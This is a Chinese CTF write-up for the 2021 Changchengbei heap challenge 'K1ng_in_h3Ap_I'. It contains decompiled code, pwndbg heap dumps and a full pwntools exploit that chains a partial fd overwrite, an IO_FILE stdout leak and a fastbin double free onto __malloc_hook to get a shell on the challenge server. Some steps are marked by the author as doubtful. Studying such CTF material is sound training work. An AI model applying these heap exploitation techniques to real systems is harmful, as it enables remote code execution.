[ 2021长城杯 ]K1ng_in_h3Ap_I

1775132023997-2403873a-a137-49d3-ae1b-29882ec476b4.png

整个程序分析：

main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  int n2; // eax

  init_();
  while ( 1 )
  {
    while ( 1 )
    {
      menu(a1, a2);
      n2 = atoi_0();
      if ( n2 != 2 )
        break;
      delete();
    }
    if ( n2 > 2 )
    {
      if ( n2 == 3 )
      {
        edit();
      }
      else if ( n2 == 666 )
      {
        printf_w();
      }
    }
    else if ( n2 == 1 )
    {
      add();
    }
  }
}

int menu()
{
  puts("1. add");
  puts("2. delete");
  puts("3. edit");
  return puts(">> ");
}

add

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
_DWORD *add()
{
  _DWORD *result; // rax
  unsigned int index; // [rsp+8h] [rbp-8h]
  int size; // [rsp+Ch] [rbp-4h]

  puts("input index:");
  index = atoi_0();
  if ( index > 0xA )
    exit(0);
  puts("input size:");
  size = atoi_0();
  if ( (unsigned int)size > 0xF0 )
    exit(0);
  content[index] = malloc(size);
  result = size_addr;
  size_addr[index] = size;
  return result;
}

delete

1
2
3
4
5
6
7
8
9
10
void delete()
{
  unsigned int index; // [rsp+Ch] [rbp-4h]

  puts("input index:");
  index = atoi_0();
  if ( index > 0xA || !content[index] || !size_addr[index] )
    exit(0);
  free((void *)content[index]);
}

edit

1
2
3
4
5
6
7
8
9
10
11
__int64 edit()
{
  unsigned int index; // [rsp+Ch] [rbp-4h]

  puts("input index:");
  index = atoi_0();
  if ( index >= 0x10 || !content[index] )
    exit(0);
  puts("input context:");
  return sub_CD3(content[index], (unsigned int)size_addr[index]);
}

printf_w

1
2
3
4
int printf_w()
{
  return printf("%p\n", (const void *)((unsigned __int64)&printf & 0xFFFFFF));
}

EXP 思路：

封装函数：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def add(idx, size):
    io.sendlineafter(">>", "1")
    io.sendlineafter("index", str(idx))
    io.sendlineafter("size", str(size))

def dele(idx):
    io.sendlineafter(">>", "2")
    io.sendlineafter("index", str(idx))

def edit(idx, content):
    io.sendlineafter(">>", "3")
    io.sendlineafter("index", str(idx))
    io.sendlineafter("context", content)

def egg():
    io.sendlineafter(">> \n", "666")

彩蛋泄露 printf 地址

1
2
3
4
5
6
egg()
printf_addr = int(io.recvuntil("\n"), 16)
success("printf: {}".format(hex(printf_addr)))

stdout = printf_addr + 0x36fe10
success("stdout: {}".format(hex(stdout)))

程序中存在一个隐藏后门或已知功能 printf_w，它直接泄漏了 printf 函数在内存中的真实地址。

  • 计算 stdout 地址： 在同一个版本的 libc 中，任意两个符号之间的偏移量是固定的。攻击者通过本地调试得出 printf 和 IO_2_1_stdout 之间的偏移为 0x36fe10，从而精准算出 stdout 结构体在内存中的起始位置。这是为了后续篡改输出流做准备。
  • ###存疑###

布置堆风水&overlap

1
2
3
add(0, 0x78) 
add(0, 0xe8)
gdb.attach(io)
1775133170004-7bce4643-673b-4e73-8892-898a5d60bb6f.png 
1
2
3
4
5
6
add(1, 0x68)
add(2, 0x68)
dele(2)
dele(1)
dele(0)
gdb.attach(io)

dele(2) # index 2 进入 fastbin

dele(1) # index 1 进入 fastbin，此时 head -> 1 -> 2

1775133286950-09a0b8eb-e1fc-4c72-bbd0-308b60bf12ab.png 
1
add(3, 0x78) # 从UnSortedbin里拿
1775135295366-65fecf1e-1e72-4f3a-aeb0-e043c465d709.png 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
pwndbg> heap                                                                                                                                                                                                                                                                                                                                                                                               
pwndbg will try to resolve the heap symbols via heuristic now since we cannot resolve the heap via the debug symbols.                                                                                                                                                                                                                                                                                      
This might not work in all cases. Use `help set resolve-heap-via-heuristic` for more details.                                                                                                                                                                                                                                                                                                              
                                                                                                                                                                                                                                                                                                                                                                                                           
Allocated chunk | PREV_INUSE                                                                                                                                                                                                                                                                                                                                                                               
Addr: 0x559ca3207000                                                                                                                                                                                                                                                                                                                                                                                       
Size: 0x80 (with flag bits: 0x81)                                                                                                                                                                                                                                                                                                                                                                          
                                                                                                                                                                                                                                                                                                                                                                                                           
Allocated chunk | PREV_INUSE                                                                                                                                                                                                                                                                                                                                                                               
Addr: 0x559ca3207080                                                                                                                                                                                                                                                                                                                                                                                       
Size: 0x80 (with flag bits: 0x81)                                                                                                                                                                                                                                                                                                                                                                          
                                                                                                                                                                                                                                                                                                                                                                                                           
Free chunk (unsortedbin) | PREV_INUSE                                                                                                                                                                                                                                                                                                                                                                      
Addr: 0x559ca3207100                                                                                                                                                                                                                                                                                                                                                                                       
Size: 0x70 (with flag bits: 0x71)                                                                                                                                                                                                                                                                                                                                                                          
fd: 0x7fc0f09c4b78                                                                                                                                                                                                                                                                                                                                                                                         
bk: 0x7fc0f09c4b78                                                                                                                                                                                                                                                                                                                                                                                         
                                                                                                                                                                                                                                                                                                                                                                                                           
Free chunk (fastbins)                                                                                                                                                                                                                                                                                                                                                                                      
Addr: 0x559ca3207170                                                                                                                                                                                                                                                                                                                                                                                       
Size: 0x70 (with flag bits: 0x70)                                                                                                                                                                                                                                                                                                                                                                          
fd: 0x559ca32071e0                                                                                                                                                                                                                                                                                                                                                                                         
                                                                                                                                                                                                                                                                                                                                                                                                           
Free chunk (fastbins) | PREV_INUSE                                                                                                                                                                                                                                                                                                                                                                         
Addr: 0x559ca32071e0                                                                                                                                                                                                                                                                                                                                                                                       
Size: 0x70 (with flag bits: 0x71)                                                                                                                                                                                                                                                                                                                                                                          
fd: 0x00                                                                                                                                                                                                                                                                                                                                                                                                   
                                                                                                                                                                                                                                                                                                                                                                                                           
Top chunk | PREV_INUSE                                                                                                                                                                                                                                                                                                                                                                                     
Addr: 0x559ca3207250                                                                                                                                                                                                                                                                                                                                                                                       
Size: 0x20db0 (with flag bits: 0x20db1)                                                                                                                                                                                                                                                                                                                                                                    
                                                                                                                                                                                                                                                                                                                                                                                                           
pwndbg> x/100gx 0x559ca3207000  
0x559ca3207000: 0x0000000000000000      0x0000000000000081 ==> index 0 
0x559ca3207010: 0x0000000000000000      0x0000000000000000
...
0x559ca3207070: 0x0000000000000000      0x0000000000000000
0x559ca3207080: 0x0000000000000000      0x0000000000000081 ==> index3
0x559ca3207090: 0x00007fc0f09c4c58      0x00007fc0f09c4c58
0x559ca32070a0: 0x0000000000000000      0x0000000000000000
0x559ca32070b0: 0x0000000000000000      0x0000000000000000
0x559ca32070c0: 0x0000000000000000      0x0000000000000000
...
0x559ca3207100: 0x0000000000000000      0x0000000000000071 ==> index0 => unsortedbin
0x559ca3207110: 0x00007fc0f09c4b78      0x00007fc0f09c4b78
0x559ca3207120: 0x0000000000000000      0x0000000000000000
0x559ca3207130: 0x0000000000000000      0x0000000000000000
...
0x559ca3207170: 0x0000000000000070      0x0000000000000070 ==> index1 => fastbin
0x559ca3207180: 0x0000559ca32071e0      0x0000000000000000
0x559ca3207190: 0x0000000000000000      0x0000000000000000
0x559ca32071a0: 0x0000000000000000      0x0000000000000000
...
0x559ca32071e0: 0x0000000000000000      0x0000000000000071 ==> index2 => fastbin
0x559ca32071f0: 0x0000000000000000      0x0000000000000000
0x559ca3207200: 0x0000000000000000      0x0000000000000000
...
0x559ca3207250: 0x0000000000000000      0x0000000000020db1 ==> top_chunk
0x559ca3207260: 0x0000000000000000      0x0000000000000000
...

1
2
3
4
edit(1, p8(0x00))

# 构造 payload，局部覆盖 fd
edit(0, b'a' * 0x78 + p64(0x71) + p16((stdout & 0xffff) - 3 - 0x40))

edit(1, p8(0x00)) 将 chunk 1 的 fd 指针的最低位字节改成了 \x00

进行局部字节覆盖。它将 chunk 1 -> fd 本来指向 chunk 2 的地址，强行扭转到了堆内存中 0x0000559ca3207100，放到 UnSortedbin 当中去：

1775135868504-fa9e908e-059c-4b07-9635-27b1caf5ac0c.png 
1
2
3
4
5
6
7
8
9
10
11
12
pwndbg> x/20gx 0x5622474c4100 
0x5622474c4100: 0x0000000000000000      0x0000000000000071
0x5622474c4110: 0x00007f12a41c4b78      0x00007f12a41c4b78
0x5622474c4120: 0x0000000000000000      0x0000000000000000
0x5622474c4130: 0x0000000000000000      0x0000000000000000
0x5622474c4140: 0x0000000000000000      0x0000000000000000
0x5622474c4150: 0x0000000000000000      0x0000000000000000
0x5622474c4160: 0x0000000000000000      0x0000000000000000
0x5622474c4170: 0x0000000000000070      0x0000000000000070 ==> index1
0x5622474c4180: 0x00005622474c4100      0x0000000000000000
0x5622474c4190: 0x0000000000000000      0x0000000000000000

###存疑###

局部覆盖绕过 ASLR：edit(0, …) 利用了 Chunk 0 的 堆溢出漏洞，覆盖了下一个释放态 chunkFastbin的头部。

  • p64(0x71) 伪造了 chunk 的 size。
  • p16(…) 修改了 Fastbin chunk 的 fd 指针。这里只覆盖了低 2 字节（16位）。因为 ASLR 只会随机化内存的高位，低 12 位是固定的。 Fastbin 在分配时会严格检查目标地址的 size 字段是否合法（目标 size 必须是 0x7x，在 stdout - 0x43（即代码中的 - 3 - 0x40）的位置，内存中往往包含类似 0x7f 的数据。利用这个错位地址，可以完美检查 。由于低 16 位中有 4 位是随机的，这里存在 1/16 的爆破概率。

攻击 IO_FILE 结构体并泄露 Libc 基址

1
2
3
4
5
6
7
add(0, 0x68)
add(0, 0x68)
add(0, 0x68)
# 攻击 IO_FILE 结构体，泄露 libc
edit(0, b'a' * (3 + 6 * 8) + p64(0xfbad1800) + p64(0) * 3 + b'\x00')
io.recvuntil(p64(0xfbad1800) + p64(0) * 3)
libc.address = u64(io.recv(8)) - 0x3c5600
  • b’a’ * (3 + 6 * 8) 51 字节填充： Fake Chunk 从 stdout - 0x43 开始，减去 0x10 的 chunk header，用户数据从 stdout - 0x33 ( 0x33 = 51 ) 开始。这 51 字节刚好填充到 stdout 的起始字段 _flags。
  • **p64(0xfbad1800) 覆写 _flags：**0xfbad0000 是 glibc 识别 FILE 的 Magic Number；0x1800 设置了 _IO_IS_APPENDING 和 _IO_CURRENTLY_PUTTING标志位。这能让 glibc 跳过常规的缓冲检查流程，避免程序崩溃，直接执行底层写操作。
  • p64(0) * 3 覆写 read 指针： 将 _IO_read_ptr、_IO_read_end、_IO_read_base 清零，防止干扰后续写流程。
  • b'\x00'** 覆写 _IO_write_base**** 最低字节：** 这是泄露数据的触发开关。通过将 _IO_write_base 最低字节改小（设为 0），导致 _IO_write_base < _IO_write_ptr。
  • 当程序继续运行并执行任意输出操作时，底层会调用 sys_write，强行将 _IO_write_base 到 _IO_write_ptr 之间的所有内存打印出来。这其中包含了 stdout 内部的 libc 指针。接收数据后减去固定偏移 0x3c5600，就得到了精确的 libc 基地址。

Fastbin Double Free 劫持 __malloc_hook

1
2
3
4
5
6
7
8
add(0, 0x68)
add(1, 0x68)
dele(0)
dele(1)
dele(0)

# 劫持 malloc_hook
edit(0, p64(libc.sym["__malloc_hook"] - 3 - 8 - 0x10 - 8))
  • Double Free： 连续释放 0 -> 1 -> 0 构造了经典的 Fastbin 环形链表。
  • 伪造 fd： 编辑处于 free 状态的 chunk0，将其 fd 指针指向 __malloc_hook - 0x23。在 glibc 2.23 中，__malloc_hook 前方刚好有一个可以被当作 0x7f size 的错位地址，完美满足 Fastbin 的分配检查。

利用realloc 调整栈帧触发 one_gadget

1
2
3
4
5
6
add(0, 0x68)
add(0, 0x68)

one_gadget = libc.address + 0x4527a
# 写入 one_gadget 并修复 realloc_hook 以调整栈帧
edit(0, b'a' * (3 + 8) + p64(one_gadget) + p64(libc.sym['realloc'] + 8))
  • 前两次 add 会把伪造的 __malloc_hook 区域申请出来。
  • 为什么不直接将 __malloc_hook 覆盖为 one_gadget**？**one_gadget 的成功执行极其依赖当前的寄存器状态或栈环境（例如要求 rsp+0x30 == NULL）。直接从 malloc 调用过去往往不满足条件，会导致段错误
  • Realloc 调栈技术： 在 libc 内存中，__malloc_hook 和 __realloc_hook 是紧挨着的。
  • 攻击者将 __realloc_hook 覆盖为 one_gadget。
  • 将 __malloc_hook 覆盖为 realloc + 8（即 realloc 汇编指令向下偏移 8 字节的位置）。
  • 精妙的执行流： 1. 当下次调用 malloc 时，程序实际上跳转到了 realloc + 8。 2. realloc 函数开头有许多 push 寄存器的汇编指令。从 +8 开始执行，意味着**跳过了前面的几个 **push。这会导致栈指针（RSP）发生偏移，从而改变了当前的栈布局。 3. 栈布局被调整后，正好满足了 one_gadget 的触发条件。 4. 随后 realloc 内部正常执行，去调用它自己的钩子 __realloc_hook，此时钩子已经是 one_gadget，最终成功且稳定地获取 Shell。

触发 Payload，获取 Shell

1
2
add(0, 0x18)
io.interactive()

随意调用一次 malloc（通过 add），触发已经被劫持的 __malloc_hook，走完上述的执行流，最终进入交互模式。

总 EXP：

2.23-0ubuntu11.3_amd64

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
#┌──(pwn_env)─(root㉿kali)-[/home/kali/Desktop]
#└─# patchelf --set-interpreter ./glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so ./stdout 
#    patchelf --set-rpath /home/kali/Desktop/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64 ./stdout

from pwn import *
from pwn import p64,u64,p32,u32,p8

context(arch='amd64', os='linux', log_level='debug')
# io = process('./stdout')  
io = remote('node7.anna.nssctf.cn',24940)
# io = remote('node5.buuoj.cn',25418)

# libc = ELF('/home/kali/Desktop/glibc-all-in-one/libs/2.31-0ubuntu9_amd64/libc-2.31.so')
libc = ELF('/home/kali/Desktop/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
# context.terminal=["tmux","splitw","-h"]
# libc = ELF('./x64libc-2.27.so')  


def add(idx, size):
    io.sendlineafter(">>", "1")
    io.sendlineafter("index", str(idx))
    io.sendlineafter("size", str(size))

def dele(idx):
    io.sendlineafter(">>", "2")
    io.sendlineafter("index", str(idx))

def edit(idx, content):
    io.sendlineafter(">>", "3")
    io.sendlineafter("index", str(idx))
    io.sendlineafter("context", content)

def egg():
    io.sendlineafter(">> \n", "666")

egg()
printf_addr = int(io.recvuntil("\n"), 16)
success("printf: {}".format(hex(printf_addr)))

stdout = printf_addr + 0x36fe10
success("stdout: {}".format(hex(stdout)))

add(0, 0x78)
add(0, 0xe8)
add(1, 0x68)
add(2, 0x68)
dele(2)
dele(1)
dele(0)
add(3, 0x78)

edit(1, p8(0x00))

# 构造 payload
edit(0, b'a' * 0x78 + p64(0x71) + p16((stdout & 0xffff) - 3 - 0x40))

add(0, 0x68)
add(0, 0x68)
add(0, 0x68)

# 攻击 IO_FILE 结构体，泄露 libc
edit(0, b'a' * (3 + 6 * 8) + p64(0xfbad1800) + p64(0) * 3 + b'\x00')

io.recvuntil(p64(0xfbad1800) + p64(0) * 3)
libc.address = u64(io.recv(8)) - 0x3c5600
success("libc: {}".format(hex(libc.address)))

add(0, 0x68)
add(1, 0x68)
dele(0)
dele(1)
dele(0)

# 劫持 malloc_hook
edit(0, p64(libc.sym["__malloc_hook"] - 3 - 8 - 0x10 - 8))

add(0, 0x68)
add(0, 0x68)

one_gadget = libc.address + 0x4527a
# one_gadget = libc.address + 0xf03a4
# one_gadget = libc.address + 0xf1247

# 写入 one_gadget 并修复 realloc_hook 以调整栈帧
edit(0, b'a' * (3 + 8) + p64(one_gadget) + p64(libc.sym['realloc'] + 8))
add(0, 0x18)
io.interactive()

1775131997518-a1d63a8d-1dc7-4589-a1cb-5f5f3de95210.png

更新: 2026-04-27 18:38:12
原文: https://www.yuque.com/idcm/wnemg9/tqphv65tgu53gb8g